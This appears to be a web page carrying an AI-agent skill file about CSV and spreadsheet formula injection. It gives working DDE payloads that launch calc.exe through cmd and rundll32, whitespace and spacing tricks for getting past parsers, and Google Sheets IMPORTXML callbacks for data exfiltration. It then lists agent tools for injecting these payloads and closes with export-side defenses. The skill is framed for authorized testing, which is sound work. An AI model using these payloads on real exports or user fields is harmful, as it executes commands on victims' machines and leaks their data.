CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.
インストール
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.
SKILL: CSV Formula Injection
AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.
QUICK START
Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):
Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
Extra whitespace after =:
= cmd|'/c calc.exe'!A
Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):
= C m D |'/c calc.exe'!A
rundll32 style:
=rundll32|'URL.dll,OpenURL calc.exe'!A
3. GOOGLE SHEETS
If exported data is later opened in Google Sheets, or sheets pull from untrusted CSV, these functions can cause outbound requests or cross-document data pulls:
Data exfiltration / probe (replace URL with your authorized callback):
Test obfuscation variants: extra whitespace after =, dispersed characters, rundll32-style payloads
Test Google Sheets IMPORT* functions if target uses Sheets: =IMPORTXML("http://callback/", "//a"), =IMPORTRANGE(...), =IMPORTDATA(...)
Open exported files in the target spreadsheet software (Excel, LibreOffice, Google Sheets) and verify whether formulas execute or prompt
Test CSV import flows: upload a CSV with formula payloads and check if cells are evaluated on import
Test macro injection: embed macro-triggering content in XLSX exports if the format supports it
Verify fix: confirm leading =, +, -, @ are stripped or prefixed with '/tab at export time
MCP TOOLS
Tool
Use Case
http_framework_test
Send crafted HTTP requests with formula payload prefixes (=, +, -, @) in export/download parameters to test CSV injection sinks
http_repeater
Replay and modify CSV export requests to inject DDE, formula, and Google Sheets IMPORT* payloads into user-controlled fields
browser_agent_inspect
Inspect exported CSV/spreadsheet download pages and admin export panels to verify whether formula payloads are reflected or sanitized
8. DEFENSE
Application and export-layer mitigations:
Prefix with single quote — In many spreadsheet apps, leading ' forces text interpretation: '=cmd|... displays literally.
Prefix with tab — Some pipelines treat tab-prefixed fields as non-formula text when ingested correctly.
Strip or neutralize leading triggers — Remove or escape leading =, +, -, @ (and Unicode lookalikes) at export time.
CSV encoding — Use consistent quoting; validate column types; avoid passing raw formula strings into financial/reporting templates without sanitization.
User education — Do not enable external data / DDE without policy.
Example safe export transformation (conceptual):
Input: =1+1
Output: '=1+1 OR \t=1+1 OR (empty prefix) with escaped quotes per RFC 4180
Note: When analyzing business exports, reports, and API export parameters together, combine with injection, business-logic, and API security skills.
RELATED ROUTING
xss — CSV injection is a form of client-side code execution
file-upload — File upload flows often lead to CSV/spreadsheet injection
sqli — Injection patterns share similar input sanitization bypass techniques